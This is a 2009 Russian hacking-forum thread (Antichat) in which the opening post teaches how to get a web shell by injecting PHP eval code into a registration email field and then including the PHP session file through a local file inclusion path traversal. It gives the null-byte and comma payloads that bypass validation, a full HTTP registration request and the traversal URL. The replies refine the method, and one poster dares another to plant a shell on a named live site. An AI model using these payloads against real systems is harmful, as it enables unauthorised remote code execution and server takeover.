Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Инъекция кода в mail() (https://forum.antichat.xyz/showthread.php?t=119481)

[x26]VOLAND 07.05.2009 05:03

Инъекция кода в mail()
 
Инъекция кода в mail()

К написанию этой заметки меня подтолкнуло одно из заданий в ROA.
Суть сводится к тому, что в первый аргумент mail() (адресат) можно подставить посторонний php-код, при этом не влияя на успешность отправки.
Данный способ актуален только для сайтов, где необходимо подтверждение регистрации (то есть необходимо указать верный E-mail и в то же время подставить код).
В противном случае задача состоит лишь в обходе фильтрации, что не входит в рамки данной темы.

Для получения шелла необходимо:
1. LFI на уязвимом сайте (с возможность инклуда сессий).
2. В сессию записывается E-mail пользователя (имеется во многих самописных движках).
3. Имеется возможность обхода фильтрации вводимого пользователем E-mail'a либо её полное отсутствие.
4. magic_quotes_gpc = off (в случае присутствия фильтрации, для вставки нуллбайта).


При соблюдении этих условий для получения шелла необходимо (возможны различные вариации):
1. Подставить php-код в поле E-mail'a при регистрации.
2. Залогиниться.
3. Проинклудить сессию.



----------------------------------------------------------------------------------

Рассмотрим на примере.

На сайте site.com имеется LFI с возможностью инклуда сессий:
http://site.com/index.php?page=../../../../../../../tmp/sess_{YOUR_SESSION_ID}

На страницу выводится нечто подобное:
Код:

user_login|s:N:"{YOUR_LOGIN}";user_mail|s:N:"{YOUR_EMAIL}";user_password|s:32:"{YOUR_HASH}";
Где {YOUR_LOGIN}, {YOUR_EMAIL}, {YOUR_HASH} - данные текущего пользователя.

Вариант с подстановкой php-кода в {YOUR_LOGIN} я рассматривать не буду, так как часто это поле жёстко фильтруется + обрабатывается htmlentities() + ограничено по длине.

Рассмотрим вариант с E-mail.
Часто в скриптах используется валидация E-mail при помощи бинарно-небезопасной функции ereg_*, поэтому нужно добавить нуллбайт %00 (функция воспримет его как конец строки и прекратит её обработку):
Код:

your_mail@mail.ru%00<?=eval($_GET[c])?>
Поле адресата передаётся Sendmail'у в сыром виде и без валидации (проверял на локалхосте), а Sendmail в свою очередь, воспринимает нуллбайт как конец строки.
В случае, если введён рабочий E-mail, на него благополучно придёт сообщение.

Примерный запрос регистрации:

Код:

POST /register.php HTTP/1.1
Host: site.com
Content-length: {DATA_LENGTH}
Content-Type: application/x-www-form-urlencoded
Connection: Close

form_login={YOUR_LOGIN}&pass={YOUR_PWD}&form_email=your_mail@mail.ru%00<?=eval($_GET[c])?>&submit=Go

Скрипт должен вернуть сообщение об успешной регистрации и отослать письмо на your_mail@mail.ru.
После подтверждения регистрации и входа на сайт инклудим сессию:

http://site.com/index.php?page=../../../../../../../tmp/sess_{YOUR_SESSION_ID}&c=phpinfo();

Шелл получен.

----------------------------------------------------------------------------------
(с) [x26]VOLAND

[x26]VOLAND 07.05.2009 05:11

Код шелла можно указывать через запятую.
Код:

your_mail@mail.ru, <?=eval($_GET[c])?>
Тогда sendmail воспримет эту строку как 2 раличных адреса и попытается послать сообщение на оба. В результате почта придёт только на 1й ящик, а вся строка с шеллом сохранится в базе.

PaCo 07.05.2009 05:12

Очень много если должно совпасть, бывают такие ситуации что например include path ограничеваеться веб дирикторией, также возможен вариант что имя сессии не всегда sess_{YOUR_SESSION_ID}(возможно что сессия вообше хранится в бд ведь пхп это позволяет - http://ua.php.net/manual/en/function.session-set-save-handler.php).

[x26]VOLAND 07.05.2009 05:15

Пхп всегда разрешает обращение к директории с сессиями.
Чтобы узнать её, нужно проинклудить конфиг апача. Но зачастую сессии просто хранятся в /tmp/ ...

Цитата:

(возможно что сессия вообше хранится в бд ведь пхп это позволяет - http://ua.php.net/manual/en/function.session-set-save-handler.php).
Такие сайты встречаются редко.

У каждого способа есть свои ограничения. Это естественно.

PaCo 07.05.2009 05:32

Цитата:

Сообщение от [x26]VOLAND
Пхп всегда разрешает

Согласен разрешает, но я про include_path где может быть прописано жестка веб дира и все, возможно это было связано с doc_root, такие мысли насчет инклюдов в файлах сессии ко мне приходили давно но именно на практике при попытке проинклюдить файл сессии вылазила ошибка, хотя fread прекрасно читала файл сессии.

Spyder 07.05.2009 05:39

PaCo, open_basedir в 99% случаев разрешает инклуд из /tmp, ну или из папки где хранятся сессии

InFlame 07.05.2009 14:42

SESSION_ID брать из куков, я правильно понимаю?

[x26]VOLAND 07.05.2009 14:46

Либо из куков, либо из url. Зависит от настройки пхп.

pampom 08.05.2009 16:43

[x26]VOLAND

Внимательно перечитал твою тему, сначало подумал что речь пойдет о mail в perl когда еще в 2000 году был баг с произвольным исполнением команд, но крайне удивился когда ты описал еще более древнюю тему, слегка не понял зачем исползывать именно mail() функцию когда речь идет о сессиях вообщем.

И вообще в моем понимании если есть локальный инклуд то это 100% шелл, но раз уж речь пошла о сессиях то в них передаеться не только имя пользователя пароль маил но дофига другой инфы, короче говоря мы просто можем отснифать весь трафик и подделать запрос с именем пользователя это как правило не прокатит, а вот например с текущем языком или текущей страницей на которой находиться пользователей то это оч просто... особенно это канает в движках на ajax.

[ cash ] (c) Hack-Shop.Org.Ru

Pashkela 08.05.2009 18:00

Цитата:

И вообще в моем понимании если есть локальный инклуд то это 100% шелл
На тебе ссылку, залей сюда шелл, а я посмотрю

Код:

http://wow.alania.net/index.php?page=1


Время: 13:10